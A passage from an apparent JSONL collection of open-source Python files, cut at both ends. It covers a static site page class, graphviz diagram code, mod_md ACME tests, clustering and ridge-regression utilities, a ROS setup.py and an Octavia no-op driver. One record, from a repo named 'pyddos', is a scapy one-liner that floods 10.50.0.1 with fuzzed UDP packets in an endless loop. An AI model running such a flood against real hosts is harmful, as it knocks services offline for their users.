if os.path.isdir(f)]\n filelist = [f for f in sfl if os.path.isfile(f)]\n for f in filelist:\n if not '.md' in os.path.split(f)[1]:\n shutil.copy(f, self.dirs['www_dir'])\n for d in dirlist:\n rfn = os.path.split(d)[1]\n if rfn != 'nowww':\n shutil.copytree(d, os.path.join(self.dirs['www_dir'], rfn))\n #write the rendered \"page\" to file\n\n #fout = open(self.dirs['www_filename'], 'w')\n #fout.write(self.render())\n #fout.close()\n\n generated_content = self.render()\n fout = codecs.open(self.dirs['www_filename'], \"w\", encoding=\"utf-8\", errors=\"xmlcharrefreplace\")\n fout.write(generated_content)\n fout.close()\n\n return generated_content\n\n def set_published(self):\n \"\"\"Change the page configuration to make the page 'published' \"\"\"\n self._config['status'][0] = 'published'\n\n def _create_config(self):\n \"\"\"Create the default configuration dictionary for this page.\"\"\"\n configinfo = {'creation_date': [ datetime.datetime.now().date().isoformat()],\n 'author': [self.site.site_config['default_author']],\n 'status': [u'draft'],\n 'lang': [u''],\n 'tags': [u''],\n 'title': [self._title],\n 'slug': [self._slug],\n 'theme': [u''],\n 'template': [u''],\n 'page_id': [uuid.uuid4().hex]\n } # when theme and template are empty, the generator uses the defaults. Thus, initially\n # they should be empty, to allow for global changes just by changing the site config files.\n return configinfo\n\n def _load(self, slug):\n \"\"\"Load the page. The _file_name param is known, because this\n method is only called after having checked that the page exists.\n\n \"\"\"\n #here we know that the slug exists\n self._slug = slug\n page_dir = os.path.join(self.site.dirs['source'], self._slug)\n page_file_name = os.path.join(page_dir, self._slug + '.md')\n self._dirs['source_dir'] = page_dir\n self._dirs['source_filename'] = page_file_name\n self._dirs['www_dir'] = os.path.join(self.site.dirs['www'], slug)\n self._dirs['www_filename'] = os.path.join(self._dirs['www_dir'], 'index.html')\n\n #pf = open(self._dirs['source_filename'], 'r')\n #page_text = pf.read()\n #pf.close()\n # need to decode!\n pf = codecs.open(self._dirs['source_filename'], mode=\"r\", encoding=\"utf-8\")\n page_text = pf.read()\n pf.close()\n\n self._parse_text(page_text)\n if not self._check_config():\n raise ValueError\n #sys.exit()\n self._title = self._config['title'][0]\n\n def _check_config(self):\n \"\"\"Verify that the configuration is correct.\"\"\"\n required_data = ['creation_date',\n 'author',\n 'status',\n 'lang',\n 'tags',\n 'title',\n 'slug',\n 'theme',\n 'template',\n 'page_id']\n isok = True\n # exclude some statements from coverage analysis. I would need to\n # refactor how the config is loaded/handled etc. It's not worth\n # to do that now. Maybe when I change yaml for the markdwn extension.\n for e in self._config.keys():\n if not e in required_data: # pragma: no cover\n print \"The configuration in page '\" + \\\n self._slug + \"' is corrupt.\"\n isok = False\n # check that the theme and template exist, even if they're default.\n (pthemedir, ptemplatefname) = self._theme_and_template_fp()\n if not os.path.isdir(pthemedir): # pragma: no cover\n print \"Theme \" + self._config['theme'][0] + \\\n \" specified in page '\" + \\\n self._slug + \"' does not exist.\"\n isok = False\n if not os.path.isfile(ptemplatefname): # pragma: no cover\n print \"Template \" + self._config['template'][0] + \\\n \" specified in page '\" + self._slug + \\\n \"' does not exist.\"\n isok = False\n return isok\n\n def _theme_and_template_fp(self):\n \"\"\"Return the full paths for theme and template in this page\"\"\"\n ptheme = self._config['theme'][0]\n if ptheme == \"\":\n ptheme = self.site.site_config['default_theme']\n pthemedir = os.path.join(self.site.dirs['themes'], ptheme)\n ptemplate = self._config['template'][0]\n if ptemplate == \"\":\n ptemplate = self.site.site_config['default_template']\n ptemplatefname = os.path.join(pthemedir, ptemplate)\n return (pthemedir, ptemplatefname)\n\n def _parse_text(self, page_text):\n \"\"\"Extract the s2config and the content from the raw page text.\"\"\"\n\n # 1 sanitize: remove leading blank lines\n # 2 separate \"config text\" from content, store content\n # 3 convert config text + \\n to obtain Meta, this is the config.\n\n lines = page_text.split('\\n')\n i = 0\n while lines[i].strip() == '':\n i += 1\n if i > 0: # i points to the first non-blank line. Else, i is 0, there are no leading blank lines\n lines = lines[i:] #remove leading blank lines\n\n i = 0\n while lines[i].strip() != '':\n i += 1\n # i points to the first blank line\n cfg_lines = '\\n'.join(lines[0:i + 1]) #config lines, plus the empty line\n\n md = markdown.Markdown(extensions=['meta','fenced_code', 'codehilite'],output_format=\"html5\")\n md.convert(cfg_lines) # need to trigger the conversion to obtain md.Meta\n\n self._config = md.Meta\n self._content = '\\n'.join(lines[i+1:])\n\n\n def _config_to_text(self):\n \"\"\"Render the configuration as text.\"\"\"\n r = u'' # unicode('',\"UTF-8\")\n for k in self._config:\n # if k == 'creation_date':\n # r += k + \": \" + self._config[k][0] + '\\n'\n # else:\n #uk = unicode(k,\"UTF-8\")\n cosa = '\\n '.join(self._config[k]) + '\\n'\n r += k + \": \" + cosa\n #r += k + \": \" + '\\n '.join(self._config[k]) + '\\n'\n r += '\\n'\n return r\n\n @property\n def content(self):\n \"\"\"Return the content for the page (getter)\"\"\"\n return self._content\n\n @content.setter # pylint: disable-msg=E1101\n def content(self, value): # pylint: disable-msg=E0102\n \"\"\"Set the content of the page (setter)\"\"\"\n self._content = value\n\n @property\n def dirs(self):\n \"\"\"Return the directory information for the page (getter)\"\"\"\n return self._dirs\n\n @property\n def slug(self):\n \"\"\"Return the slug for the page (getter)\"\"\"\n return self._slug\n\n @property\n def title(self):\n \"\"\"Return the title for the page (getter)\"\"\"\n return self._title\n\n @property\n def in_toc(self):\n \"\"\"Return true if the page should be included in the TOC, return false otherwise\"\"\"\n return not 'no-toc' in (self._config['status'][0]).lower()\n\n @property\n def published(self):\n \"\"\"Return if the page is published or not\"\"\"\n return 'published' in (self._config['status'][0]).lower()\n\n @property\n def creation_date(self):\n \"\"\"Return the date from the configuration (getter)\"\"\"\n return self._config['creation_date'][0]\n\n @creation_date.setter # pylint: disable-msg=E1101\n def creation_date(self, value): # pylint: disable-msg=E0102\n \"\"\"Set the date in the configuraton (setter)\"\"\"\n if not isinstance(value, datetime.date):\n raise TypeError\n self._config['creation_date'][0] = value.isoformat()\n\n @property\n def tags(self):\n \"\"\"Return the tags from the configuration (getter)\"\"\"\n return self._config['tags']\n\n @tags.setter # pylint: disable-msg=E1101\n def tags(self, value): # pylint: disable-msg=E0102\n \"\"\"Set the tags in the configuraton (setter)\"\"\"\n if not isinstance(value, list):\n raise TypeError\n self._config['tags'] = value\n\n @property\n def theme_path(self):\n \"\"\"Return the full path of the theme used by this page.\"\"\"\n return self._theme_and_template_fp()[0]\n \n @property\n def author(self):\n \"\"\"Return the full path of the theme used by this page.\"\"\"\n r = self.site.site_config['default_author']\n if 'author' in self._config:\n r = self._config['author']\n return r\n", "source": "jpablo128/simplystatic", "license": "MIT"} {"text": "# Copyright 2o18 Premise Data\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom graphviz import Digraph\nimport generate_area\nimport generate_component\n\n\ndef get_components_for_level(components, levels, level_order):\n level_components = {}\n for component in components.values():\n if levels[component.level_identifier].order >= level_order:\n level_components[component.identifier] = component\n return level_components\n\n\ndef add_component_edges(\n digraph,\n component,\n all_components,\n components,\n visited={},\n parent=None,\n):\n if component.identifier in visited:\n return\n visited[component.identifier] = True\n if component.dependency_identifiers is not None:\n for dependency_identifier in component.dependency_identifiers:\n if dependency_identifier in components:\n if parent is None:\n digraph.edge(\n component.identifier,\n dependency_identifier,\n arrowhead='open',\n style=\"dashed\",\n )\n else:\n digraph.edge(\n parent.identifier,\n dependency_identifier,\n arrowhead='open',\n style=\"dashed\",\n label=\"\\<\\\\>\",\n )\n else:\n add_component_edges(\n digraph,\n all_components[dependency_identifier],\n all_components,\n components,\n visited,\n component if parent is None else parent\n )\n\n\ndef build_overview_digraph(\n name,\n output_file,\n areas,\n components,\n levels,\n teams,\n types,\n level_order\n):\n root = Digraph(name, filename=output_file + \"level_\" +\n str(level_order), format=\"png\")\n overview_components = get_components_for_level(\n components,\n levels,\n level_order,\n )\n generate_area.add_detail_area_components_digraph(\n root,\n areas,\n overview_components,\n teams,\n types,\n )\n for component in overview_components.values():\n add_component_edges(root, component, components, overview_components)\n\n generate_component.add_teams_color_map(\n root,\n generate_component.find_showed_teams(overview_components, teams),\n )\n root.render(view=False, cleanup=True)\n", "source": "abramsimon/componere", "license": "Apache-2.0"} {"text": "class DefaultHandler:\n \"\"\"\n \u6301\u6709handler\u7684\u5b9e\u4f8b\n \"\"\"\n\n plain = None\n guild = None\n guild_member = None\n channel = None\n message = None\n at_message = None\n direct_message = None\n audio = None\n message_reaction = None\n", "source": "SuperKuroko/botpy", "license": "MIT"} {"text": "from scapy.all import *\n\nsend(IP(dst=\"10.50.0.1\")/fuzz(UDP()),loop=1)\n\n", "source": "ep4sh/pyddos", "license": "MIT"} {"text": "# test mod_md acme terms-of-service handling\n\nimport pytest\n\nfrom md_env import MDTestEnv\n\n\n@pytest.mark.skipif(condition=not MDTestEnv.has_acme_server(),\n reason=\"no ACME test server configured\")\nclass TestRegAdd:\n\n @pytest.fixture(autouse=True, scope='function')\n def _method_scope(self, env):\n env.purge_store()\n\n # test case: add a single dns managed domain\n def test_100_000(self, env):\n dns = \"greenbytes.de\"\n jout1 = env.a2md([\"add\", dns]).json\n env.check_json_contains(jout1['output'][0], {\n \"name\": dns,\n \"domains\": [dns],\n \"contacts\": [],\n \"ca\": {\n \"url\": env.acme_url,\n \"proto\": \"ACME\"\n },\n \"state\": env.MD_S_INCOMPLETE\n })\n assert env.a2md([\"list\"]).json == jout1\n\n # test case: add > 1 dns managed domain\n def test_100_001(self, env):\n dns = [\"greenbytes2.de\", \"www.greenbytes2.de\", \"mail.greenbytes2.de\"]\n jout1 = env.a2md([\"add\"] + dns).json\n env.check_json_contains(jout1['output'][0], {\n \"name\": dns[0],\n \"domains\": dns,\n \"contacts\": [],\n \"ca\": {\n \"url\": env.acme_url,\n \"proto\": \"ACME\"\n },\n \"state\": env.MD_S_INCOMPLETE\n })\n assert env.a2md([\"list\"]).json == jout1\n\n # test case: add second managed domain\n def test_100_002(self, env):\n dns1 = [\"test100-002.com\", \"test100-002a.com\", \"test100-002b.com\"]\n env.a2md([\"add\"] + dns1)\n # add second managed domain\n dns2 = [\"greenbytes2.de\", \"www.greenbytes2.de\", \"mail.greenbytes2.de\"]\n jout = env.a2md([\"add\"] + dns2).json\n # assert: output covers only changed md\n assert len(jout['output']) == 1\n env.check_json_contains(jout['output'][0], {\n \"name\": dns2[0],\n \"domains\": dns2,\n \"contacts\": [],\n \"ca\": {\n \"url\": env.acme_url,\n \"proto\": \"ACME\"\n },\n \"state\": env.MD_S_INCOMPLETE\n })\n assert len(env.a2md([\"list\"]).json['output']) == 2\n\n # test case: add existing domain \n def test_100_003(self, env):\n dns = \"greenbytes.de\"\n assert env.a2md([\"add\", dns]).exit_code == 0\n assert env.a2md([\"add\", dns]).exit_code == 1\n\n # test case: add without CA URL\n def test_100_004(self, env):\n dns = \"greenbytes.de\"\n jout1 = env.run([env.a2md_bin, \"-d\", env.store_dir, \"-j\", \"add\", dns]).json\n assert len(jout1['output']) == 1\n env.check_json_contains(jout1['output'][0], {\n \"name\": dns,\n \"domains\": [dns],\n \"contacts\": [],\n \"ca\": {\n \"proto\": \"ACME\"\n },\n \"state\": env.MD_S_INCOMPLETE\n })\n assert env.a2md([\"list\"]).json == jout1\n\n # test case: add with invalid DNS\n @pytest.mark.parametrize(\"invalid_dns\", [\n \"tld\", \"white sp.ace\", \"invalid.*.wildcard.com\", \"k\\xc3ller.idn.com\"\n ])\n def test_100_005(self, env, invalid_dns):\n assert env.a2md([\"add\", invalid_dns]).exit_code == 1\n assert env.a2md([\"add\", \"test-100.de\", invalid_dns]).exit_code == 1\n\n # test case: add with invalid ACME URL\n @pytest.mark.parametrize(\"invalid_url\", [\n \"no.schema/path\", \"http://white space/path\", \"http://bad.port:-1/path\"])\n def test_100_006(self, env, invalid_url):\n args = [env.a2md_bin, \"-a\", invalid_url, \"-d\", env.store_dir, \"-j\"]\n dns = \"greenbytes.de\"\n args.extend([\"add\", dns])\n assert env.run(args).exit_code == 1\n\n # test case: add overlapping dns names\n def test_100_007(self, env):\n assert env.a2md([\"add\", \"test-100.com\", \"test-101.com\"]).exit_code == 0\n # 1: alternate DNS exists as primary name\n assert env.a2md([\"add\", \"greenbytes2.de\", \"test-100.com\"]).exit_code == 1\n # 2: alternate DNS exists as alternate DNS\n assert env.a2md([\"add\", \"greenbytes2.de\", \"test-101.com\"]).exit_code == 1\n # 3: primary name exists as alternate DNS\n assert env.a2md([\"add\", \"test-101.com\"]).exit_code == 1\n\n # test case: add subdomains as separate managed domain\n def test_100_008(self, env):\n assert env.a2md([\"add\", \"test-100.com\"]).exit_code == 0\n assert env.a2md([\"add\", \"sub.test-100.com\"]).exit_code == 0\n\n # test case: add duplicate domain\n def test_100_009(self, env):\n dns1 = \"test-100.com\"\n dns2 = \"test-101.com\"\n jout = env.a2md([\"add\", dns1, dns2, dns1, dns2]).json\n # DNS is only listed once\n assert len(jout['output']) == 1\n md = jout['output'][0]\n assert md['domains'] == [dns1, dns2]\n\n # test case: add pnuycode name\n def test_100_010(self, env):\n assert env.a2md([\"add\", \"xn--kller-jua.punycode.de\"]).exit_code == 0\n\n # test case: don't sort alternate names\n def test_100_011(self, env):\n dns = [\"test-100.com\", \"test-xxx.com\", \"test-aaa.com\"]\n jout = env.a2md([\"add\"] + dns).json\n # DNS is only listed as specified\n assert len(jout['output']) == 1\n md = jout['output'][0]\n assert md['domains'] == dns\n\n # test case: add DNS wildcard\n @pytest.mark.parametrize(\"wild_dns\", [\n \"*.wildcard.com\"\n ])\n def test_100_012(self, env, wild_dns):\n assert env.a2md([\"add\", wild_dns]).exit_code == 0\n", "source": "igalic/mod_md", "license": "Apache-2.0"} {"text": "import warnings\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.cluster import k_means\n\nfrom .utils.dataset_generator import plot_principal_components\nfrom .ward import ward_clustering\n\nwarnings.simplefilter('ignore')\n\nglobal_pca = PCA(2)\n\n\ndef anomalous_cluster(X, center=True, plot=False):\n if center:\n zero = X.mean(axis=0)\n else:\n zero = 0\n X_c = X - zero\n\n global global_pca\n\n distances = np.sum((X - zero) ** 2, axis=1)\n anomalous_center = X[np.argmax(distances)]\n\n if plot:\n # plt.scatter(*global_pca.transform(X).T)\n plt.scatter(*global_pca.transform(anomalous_center[None]).T, c='g', marker='+', zorder=25, s=250)\n\n while True:\n\n dist_to_anomalous = np.linalg.norm(X - anomalous_center, axis=1)\n dist_to_zero = np.linalg.norm(X - zero, axis=1)\n\n mask = (dist_to_anomalous < dist_to_zero)\n\n new_anomalous_center = X[mask].mean(axis=0)\n\n if np.array_equal(new_anomalous_center, anomalous_center):\n break\n\n anomalous_center = new_anomalous_center\n\n if plot: plt.scatter(*global_pca.transform(anomalous_center[None]).T, c='g', marker='*', zorder=25, s=250)\n\n # if plot: plt.show()\n\n anomalous_cluster_idx = np.argwhere(mask).flatten()\n return anomalous_cluster_idx, anomalous_center + zero\n\n\ndef ikmeans(X, t=1, n_clusters=None, plot=False):\n zero = X.mean(axis=0)\n X_c = X - zero\n\n global global_pca\n global_pca.fit_transform(X_c)\n\n obj_set = np.full(len(X), True)\n\n ac_objects = []\n ac_centers = []\n\n n = 1\n while np.any(obj_set):\n\n ac_obj, ac_center = anomalous_cluster(X_c[obj_set], center=False, plot=True)\n\n if plot:\n if np.any(obj_set): plt.scatter(*global_pca.transform(X_c[obj_set]).T, c='grey')\n if np.any(~obj_set): plt.scatter(*global_pca.transform(X_c[~obj_set]).T, c='lightgrey')\n plt.scatter(*global_pca.transform([[0], [0]]).T, c='k', zorder=10)\n plt.scatter(*global_pca.transform(ac_center[None]).T, c='y', zorder=10)\n plt.show()\n\n selected_objects_id = np.argwhere(obj_set).flatten()\n ac_obj = selected_objects_id[ac_obj]\n\n ac_objects.append(ac_obj)\n ac_centers.append(ac_center + zero)\n\n obj_set[ac_obj] = False\n\n n += 1\n\n ac_centers = np.array([i for i, j in zip(ac_centers, ac_objects) if len(j) > t])\n ac_labels = np.ones(len(X)) * (-1)\n for i, objs in enumerate(ac_objects):\n ac_labels[objs] = i\n\n if n_clusters is not None:\n ac_reduced_labels = ward_clustering(X, ac_labels, stopping_criterion='n_clusters', n_clusters=n_clusters)\n ac_centers = np.array([X[ac_reduced_labels == i].mean(axis=0) for i in np.unique(ac_reduced_labels)])\n\n _, X_labels, _ = k_means(X, n_clusters=len(ac_centers),\n init=ac_centers,\n n_init=1,\n verbose=False,\n algorithm='full')\n return X_labels\n\n\ndef extract_anomalous_centers(X, t=1):\n zero = X.mean(axis=0)\n X_c = X - zero\n\n obj_set = np.full(len(X), True)\n\n ac_objects = []\n ac_centers = []\n\n n = 1\n while np.any(obj_set):\n ac_obj, ac_center = anomalous_cluster(X_c[obj_set], center=False)\n\n selected_objects_id = np.argwhere(obj_set).flatten()\n ac_obj = selected_objects_id[ac_obj]\n\n ac_objects.append(ac_obj)\n ac_centers.append(ac_center + zero)\n\n obj_set[ac_obj] = False\n\n n += 1\n\n ac_centers = np.array([i for i, j in zip(ac_centers, ac_objects) if len(j) > t])\n\n return ac_centers\n\n\ndef ikmeans_wd(X):\n ''' Post iKMeans Ward clustering with TTP stopping criterion '''\n\n X_labels = ikmeans(X)\n X_labels = ward_clustering(X, initial_clusters=X_labels, stopping_criterion='ttp')\n\n return X_labels\n\n\ndef ikmeans_wt(X):\n ''' Post iKMeans Ward clustering with Threshold stopping criterion '''\n\n X_labels = ikmeans(X)\n X_labels = ward_clustering(X, initial_clusters=X_labels, stopping_criterion='threshold', threshold_alpha=0.5)\n\n return X_labels\n", "source": "alvlasov/cluster-analysis", "license": "MIT"} {"text": "\"\"\"ridge.py: pytorch implementation of grid-searching ridge regression.\n\nRidge solutions for multiple regularization values are computed efficiently by\nusing the Woodbury identity. With X (n x d) representing the feature matrix, and\ny (n x 1) the outcomes, the ridge solution is given by\n\n \u03b2 = (X'X + l*I)^{-1}X'y\n\nwhere l is the regularization coefficient. This can be reduced to\n\n (1/l)*(X'y - X'V(e + l*I)^{-1}(X'V)'X'y)\n\nwhere Ue^{1/2}V' is the singular-value decomposition of X'. Since (e + lI) is a\ndiagonal matrix, its inverse can be computed efficiently simply by taking the\nreciprocal of the diagonal elements. Then, (X'V)'X'y is a vector; so it can be\nmultiplied by (e + lI)^{-1} just by scalar multiplication.\n\"\"\"\n\nimport torch\n\n\ndef _validate_ls(ls):\n \"\"\"Ensure that ls is a 1-dimensional torch float/double tensor.\"\"\"\n try:\n assert isinstance(ls, torch.Tensor)\n assert ls.dtype is torch.float or ls.dtype is torch.double\n assert len(ls.shape) == 1\n except AssertionError:\n raise AttributeError(\n \"invalid ls: should be 1-dimensional torch float/double tensor\"\n )\n\n\ndef _validate_XY(X, Y):\n \"\"\"Ensure that X and Y are 2-dimensional torch float/double tensors, with\n proper sizes.\"\"\"\n try:\n for inp in [X, Y]:\n assert isinstance(inp, torch.Tensor)\n assert inp.dtype is torch.float or inp.dtype is torch.double\n assert len(inp.shape) == 2\n assert X.dtype is Y.dtype\n assert X.shape[0] == Y.shape[0]\n except AssertionError:\n raise AttributeError(\n \"invalid inputs: X and Y should be float/double tensors of shape \"\n \"(n, d) and (n, m) respectively, where n is the number of samples, \"\n \"d is the number of features, and m is the number of outputs\"\n )\n\n\nclass MultiRidge:\n\n \"\"\"Ridge model for multiple outputs and regularization strengths. A separate\n model is fit for each (output, regularization) pair.\"\"\"\n\n def __init__(self, ls, scale_X=True, scale_thresh=1e-8):\n \"\"\"\n Arguments:\n ls: 1-dimensional torch tensor of regularization values.\n scale_X: whether or not to scale X.\n scale_thresh: when standardizing, standard deviations below this\n value are not used (i.e. they are set to 1).\n \"\"\"\n self.ls = ls\n self.scale_X = scale_X\n self.scale_thresh = scale_thresh\n self.Xm = None\n self.Xs = None\n self.e = None\n self.Q = None\n self.Ym = None\n self.ps = None\n self.rs = None\n\n def fit(self, X, Y):\n \"\"\"\n Arguments:\n X: 2-dimensional torch tensor of shape (n, d) where n is the number\n of samples, and d is the number of features.\n Y: 2-dimensional tensor of shape (n, m) where m is the number of\n targets.\n \"\"\"\n self.Xm = X.mean(dim=0, keepdim=True)\n X = X - self.Xm\n if self.scale_X:\n self.Xs = X.std(dim=0, keepdim=True)\n self.Xs[self.Xs < self.scale_thresh] = 1\n X = X / self.Xs\n\n X_t = X.t()\n _, S, V = X_t.svd()\n self.e = S.pow_(2)\n self.Q = X_t @ V\n\n self.Ym = Y.mean(dim=0)\n self.ps = []\n self.rs = []\n for Y_j, Ym_j in zip(Y.t(), self.Ym):\n p_j = X_t @ (Y_j - Ym_j)\n self.ps.append(p_j)\n self.rs.append(self.Q.t() @ p_j)\n return self\n\n def _predict_single(self, X_te_p, M_te, y_idx, l, N_te_j=None):\n Ym_j, p_j, r_j = self.Ym[y_idx], self.ps[y_idx], self.rs[y_idx]\n if N_te_j is None:\n N_te_j = X_te_p @ p_j\n Yhat_te_j = (1 / l) * (N_te_j - M_te @ (r_j / (self.e + l))) + Ym_j\n return Yhat_te_j, N_te_j\n\n def get_prediction_scores(self, X_te, Y_te, scoring):\n \"\"\"Compute predictions for each (regulariztion, output) pair and return\n the scores as produced by the given scoring function.\n\n Arguments:\n X_te: 2-dimensional torch tensor of shape (n, d) where n is the\n number of samples, and d is the number of features.\n Y_te: 2-dimensional tensor of shape (n, m) where m is the\n number of targets.\n scoring: scoring function with signature scoring(y, yhat).\n\n Returns a (m, M) torch tensor of scores, where M is the number of\n regularization values.\n \"\"\"\n X_te = X_te - self.Xm\n if self.scale_X:\n X_te = X_te / self.Xs\n M_te = X_te @ self.Q\n\n scores = torch.zeros(Y_te.shape[1], len(self.ls), dtype=X_te.dtype)\n for j, Y_te_j in enumerate(Y_te.t()):\n N_te_j = None\n for k, l in enumerate(self.ls):\n Yhat_te_j, N_te_j = self._predict_single(\n X_te, M_te, j, l, N_te_j\n )\n scores[j, k] = scoring(Y_te_j, Yhat_te_j).item()\n return scores\n\n def predict_single(self, X_te, l_idxs):\n \"\"\"Compute a single prediction corresponding to each output.\n\n Arguments:\n X_te: 2-dimensional torch tensor of shape (n, d) where n is the\n number of samples, and d is the number of features.\n l_idxs: iterable of length m (number of targets), with indexes\n specifying the l value to use for each of the targets.\n\n Returns a (n, m) tensor of predictions.\n \"\"\"\n X_te = X_te - self.Xm\n if self.scale_X:\n X_te = X_te / self.Xs\n M_te = X_te @ self.Q\n\n Yhat_te = []\n for j, l_idx in enumerate(l_idxs):\n l = self.ls[l_idx]\n Yhat_te_j, _ = self._predict_single(X_te, M_te, j, l)\n Yhat_te.append(Yhat_te_j)\n\n Yhat_te = torch.stack(Yhat_te, dim=1)\n return Yhat_te\n\n\nclass RidgeCVEstimator:\n def __init__(self, ls, cv, scoring, scale_X=True, scale_thresh=1e-8):\n \"\"\"Cross-validated ridge estimator.\n\n Arguments:\n ls: 1-dimensional torch tensor of regularization values.\n cv: cross-validation object implementing split.\n scoring: scoring function with signature scoring(y, yhat).\n scale_X: whether or not to scale X.\n scale_thresh: when standardizing, standard deviations below this\n value are not used (i.e. they are set to 1).\n \"\"\"\n _validate_ls(ls)\n self.base_ridge = MultiRidge(ls, scale_X, scale_thresh)\n self.cv = cv\n self.scoring = scoring\n self.mean_cv_scores = None\n self.best_l_scores = None\n self.best_l_idxs = None\n\n def fit(self, X, Y, groups=None):\n \"\"\"Fit ridge model to given data.\n\n Arguments:\n X: 2-dimensional torch tensor of shape (n, d) where n is the\n number of samples, and d is the number of features.\n Y: 2-dimensional tensor of shape (n, m) where m is the number\n of targets.\n groups: groups used for cross-validation; passed directly to\n cv.split.\n\n A separate model is learned for each target i.e. Y[:, j].\n \"\"\"\n _validate_XY(X, Y)\n cv_scores = []\n\n for idx_tr, idx_val in self.cv.split(X, Y, groups):\n X_tr, X_val = X[idx_tr], X[idx_val]\n Y_tr, Y_val = Y[idx_tr], Y[idx_val]\n\n self.base_ridge.fit(X_tr, Y_tr)\n split_scores = self.base_ridge.get_prediction_scores(\n X_val, Y_val, self.scoring\n )\n cv_scores.append(split_scores)\n\n cv_scores = torch.stack(cv_scores)\n self.mean_cv_scores = cv_scores.mean(dim=0)\n self.best_l_scores, self.best_l_idxs = self.mean_cv_scores.max(dim=1)\n self.base_ridge.fit(X, Y)\n return self\n\n def predict(self, X):\n \"\"\"Predict using cross-validated model.\n\n Arguments:\n X_te: 2-dimensional torch tensor of shape (n, d) where n is the\n number of samples, and d is the number of features.\n\n Returns a (n, m) matrix of predictions.\n \"\"\"\n if self.best_l_idxs is None:\n raise RuntimeError(\"cannot predict without fitting\")\n return self.base_ridge.predict_single(X, self.best_l_idxs)\n", "source": "nchang430/torchutils", "license": "MIT"} {"text": "from setuptools import setup\n\npackage_name = 'sim_spawner'\n\nsetup(\n name=package_name,\n version='1.0.0',\n packages=[package_name],\n data_files=[\n ('share/ament_index/resource_index/packages',\n ['resource/' + package_name]),\n ('share/' + package_name, ['package.xml']),\n ],\n install_requires=['setuptools'],\n zip_safe=True,\n maintainer='Florent Audonnet',\n maintainer_email='2330834a@student.gla.ac.uk',\n description='spawn object in both simulation and run the services to get their positions',\n license='BSD 3-Clause License',\n tests_require=['pytest'],\n entry_points={\n 'console_scripts': [\n \"webots_spawner = sim_spawner.webots_spawner:main\",\n \"webots_throw_spawner = sim_spawner.webots_throw_spawner:main\",\n \"gazebo_spawner = sim_spawner.gazebo_spawner:main\",\n \"gazebo_throw_spawner = sim_spawner.gazebo_throw_spawner:main\",\n\n ],\n },\n)\n", "source": "09ubberboy90/lvl4-ros2-sim-comp", "license": "BSD-3-Clause"} {"text": "# Copyright 2016 IBM Corp.\n# Copyright 2017 Rackspace, US Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom taskflow.patterns import linear_flow\nfrom taskflow import task\n\nfrom oslo_log import log as logging\nfrom oslo_utils import uuidutils\n\nfrom octavia.distributor.drivers import driver_base\n\nLOG = logging.getLogger(__name__)\n\n\nclass NoopProvidesRequiresTask(task.Task):\n def __init__(self, name, provides_dicts=None, requires=None):\n if provides_dicts is None:\n provides_dicts = {}\n super(NoopProvidesRequiresTask, self).__init__(\n name=name,\n provides=list(provides_dicts),\n requires=requires)\n self.provides_dict = provides_dicts\n\n def execute(self, *args, **kwargs):\n return self.provides_dict.values()\n\n\nclass NoopManager(object):\n def __init__(self):\n super(NoopManager, self).__init__()\n\n def get_create_distributor_subflow(self):\n LOG.debug('Distributor %s create_distributor', self.__class__.__name__)\n create_distributor_flow = linear_flow.Flow('create-distributor')\n create_distributor_flow.add(NoopProvidesRequiresTask(\n 'create-distributor-task',\n requires=('load_balancer'),\n provides_dicts={'distributor_id': uuidutils.generate_uuid()}))\n return create_distributor_flow\n\n def get_delete_distributor_subflow(self):\n LOG.debug('Distributor %s delete_distributor', self.__class__.__name__)\n delete_distributor_flow = linear_flow.Flow('delete-distributor')\n delete_distributor_flow.add(NoopProvidesRequiresTask(\n 'delete-distributor-task', requires=('distributor_id')))\n return delete_distributor_flow\n\n def get_add_vip_subflow(self):\n LOG.debug('Distributor %s add_vip', self.__class__.__name__)\n add_vip_flow = linear_flow.Flow('add-vip')\n add_vip_flow.add(NoopProvidesRequiresTask(\n 'add-vip-task', requires=('distributor_id', 'vip',\n 'vip_alg', 'vip_persistence')))\n return add_vip_flow\n\n def get_remove_vip_subflow(self):\n LOG.debug('Distributor %s remove_vip', self.__class__.__name__)\n remove_vip_flow = linear_flow.Flow('remove-vip')\n remove_vip_flow.add(NoopProvidesRequiresTask('remove-vip-task',\n requires=('distributor_id', 'vip')))\n return remove_vip_flow\n\n def get_register_amphorae_subflow(self):\n LOG.debug('Distributor %s register_amphorae', self.__class__.__name__)\n register_amphorae_flow = linear_flow.Flow('register_amphorae')\n register_amphorae_flow.add(NoopProvidesRequiresTask(\n 'register_amphorae_task', requires=('distributor_id', 'amphorae')))\n return register_amphorae_flow\n\n def get_drain_amphorae_subflow(self):\n LOG.debug('Distributor %s drain_amphorae', self.__class__.__name__)\n drain_amphorae_flow = linear_flow.Flow('drain-amphorae')\n drain_amphorae_flow.add(NoopProvidesRequiresTask(\n 'drain_amphorae_task', requires=('distributor_id', 'amphorae')))\n return drain_amphorae_flow\n\n def get_unregister_amphorae_subflow(self):\n LOG.debug('Distributor %s unregister_amphorae',\n self.__class__.__name__)\n unregister_amphorae_flow = linear_flow.Flow('unregister_amphora')\n unregister_amphorae_flow.add(NoopProvidesRequiresTask(\n 'unregister_amphorae_task', requires=('distributor_id',\n 'amphorae')))\n return unregister_amphorae_flow\n\n @classmethod\n def validate_config_data(cls, metadata_dict):\n LOG.debug('Distributor %s validate_config_data',\n cls.__name__)\n unregister_amphorae_flow = linear_flow.Flow('validate_config_data')\n unregister_amphorae_flow.add(NoopProvidesRequiresTask(\n 'validate_config_data_task', requires=('metadata_dict')))\n return unregister_amphorae_flow\n\n\nclass NoopDistributorDriver(driver_base.DistributorDriver):\n def __init__(self):\n super(NoopDistributorDriver, self).__init__()\n self.driver = NoopManager()\n\n @classmethod\n def validate_config_data(cls, 